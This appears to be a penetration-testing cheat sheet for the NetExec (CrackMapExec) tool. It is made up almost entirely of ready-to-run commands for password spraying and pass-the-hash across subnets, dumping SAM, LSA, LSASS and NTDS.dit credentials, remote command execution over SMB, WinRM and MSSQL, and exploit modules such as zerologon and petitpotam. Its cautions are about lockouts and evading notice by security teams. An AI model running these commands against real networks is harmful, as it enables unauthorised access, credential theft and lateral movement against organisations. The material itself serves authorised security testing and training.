| Field | Detail |
|---|---|
| Summary | Validate creds and enumerate/execute across many hosts |
| Category | Windows/AD swiss-army knife |
| Phase | enumeration, exploitation, post-exploitation |
| Interface | CLI |
| Platform | Linux |
| Licence | Open source (BSD) |
| Docs | https://www.netexec.wiki/ |
| Related | SMB and Active Directory enumeration, Impacket, BloodHound and SharpHound, John the Ripper and Hashcat |
Multi-host, multi-protocol swiss-army knife for AD/network assessment: validate credentials across a whole subnet, enumerate, dump, and execute — in one command. NetExec (nxc) is the maintained fork of the now-abandoned CrackMapExec (cme); syntax is near-identical, so swap the binary name as needed.
⚠️ Warning — Spraying = lockouts Credential checks across many hosts/accounts trip lockout policies and alert SOCs. Pull the password policy first (
--pass-pol), spray one password across users (not many passwords at one user), and respect the lockout window. See SMB and Active Directory enumeration for the caveats.
Shape of a command
nxc <protocol> <target(s)> -u <user/list> -p <pass/list> [--option]
Protocols: smb, ldap, winrm, mssql, ssh, ftp, rdp, wmi, nfs, vnc.
Targets: single IP, CIDR (10.10.10.0/24), range, or a file (targets.txt).
Credential validation (the core use)
nxc smb 10.10.10.0/24 -u jdoe -p 'Password1' # where are these creds valid?
nxc smb 10.10.10.0/24 -u jdoe -H <NThash> # pass-the-hash
nxc smb 10.10.10.0/24 -u users.txt -p passwords.txt # spray (careful!)
nxc smb 10.10.10.0/24 -u users.txt -p '' --no-bruteforce # null / specific pairing
Read the output tags:
[+] domain\user:pass— creds valid.(Pwn3d!)— you're local admin on that host (your exec targets).signing:False— SMB signing off → NTLM-relay candidate (Responder and relay basics).
Enumeration
nxc smb 10.10.10.5 -u jdoe -p 'Pass' --users # domain users
nxc smb 10.10.10.5 -u jdoe -p 'Pass' --groups
nxc smb 10.10.10.5 -u jdoe -p 'Pass' --shares
nxc smb 10.10.10.5 -u jdoe -p 'Pass' --pass-pol # ALWAYS before spraying
nxc smb 10.10.10.5 -u jdoe -p 'Pass' --loggedon-users
nxc smb 10.10.10.5 -u jdoe -p 'Pass' --sessions
nxc smb 10.10.10.0/24 -u '' -p '' --shares # null-session share sweep
nxc smb 10.10.10.5 -u jdoe -p 'Pass' -M spider_plus # crawl shares for files
Credential harvesting (needs admin)
nxc smb 10.10.10.5 -u admin -p 'Pass' --sam # local SAM hashes
nxc smb 10.10.10.5 -u admin -p 'Pass' --lsa # LSA secrets / cached
nxc smb 10.10.10.5 -u admin -p 'Pass' --ntds # DCSync NTDS.dit (on a DC)
nxc smb 10.10.10.5 -u admin -p 'Pass' -M lsassy # parse LSASS remotely (module)
Hashes → John the Ripper and Hashcat or reuse via PtH.
Command execution (on Pwn3d! hosts)
nxc smb 10.10.10.5 -u admin -p 'Pass' -x 'whoami' # cmd
nxc smb 10.10.10.5 -u admin -p 'Pass' -X '$PSVersionTable' # powershell
nxc winrm 10.10.10.5 -u admin -p 'Pass' -x 'hostname' # over WinRM #tcp/5985
Modules
nxc smb -L # list all modules
nxc smb 10.10.10.5 -u jdoe -p 'Pass' -M <name> -o KEY=val
# useful: enum_avproducts, spider_plus, lsassy, ntlmv1, gpp_password,
# zerologon, petitpotam, coerce_plus, maq (machine account quota)
Credential/host database
CME/NetExec stores everything it learns; reuse it later:
nxcdb # (or cmedb) interactive DB — list creds, hosts, admin-access map
BloodHound ingest
nxc ldap 10.10.10.5 -u jdoe -p 'Pass' --bloodhound -c All --dns-server 10.10.10.5
More protocols, modules & flags
nxc smb 10.10.10.0/24 -u u -p p --local-auth # local (non-domain) accounts
nxc smb 10.10.10.0/24 -u u -p p --continue-on-success # don't stop at first valid cred
nxc smb dc -u u -p p -k # Kerberos (ticket in KRB5CCNAME)
nxc smb 10.10.10.5 -u u -p p --exec-method smbexec -x whoami
nxc smb 10.10.10.0/24 -u u -p p -M spider_plus # crawl shares -> JSON
nxc smb 10.10.10.0/24 -u u -p p --gen-relay-list no-signing.txt # SMB-signing-off hosts
nxc mssql 10.10.10.5 -u sa -p p -x "whoami" # MSSQL (xp_cmdshell)
nxc winrm 10.10.10.5 -u u -p p -x hostname # WinRM
nxc rdp 10.10.10.0/24 -u u -p p -M rdp_screenshot # RDP check + screenshot
nxc ssh 10.10.10.0/24 -u u -p p
nxc smb -L lists all modules; nxcdb stores every cred/host learned for reuse.
Kill-chain usage
Enumeration
nxc smb 10.10.10.0/24 -u u -p p --shares --pass-pol # map access + policy
Exploitation
nxc smb targets.txt -u users.txt -p 'Season2026!' # spray (mind lockout!)
Post-exploitation
nxc smb 10.10.10.5 -u admin -p p --sam -x whoami # dump SAM / exec
Where it fits
The fast first sweep and the glue between stages: find where creds work and where you're admin, enumerate, harvest, then execute — across an entire subnet at once. For precise single-target protocol actions reach for Impacket; to map what to do with the access, feed BloodHound and SharpHound.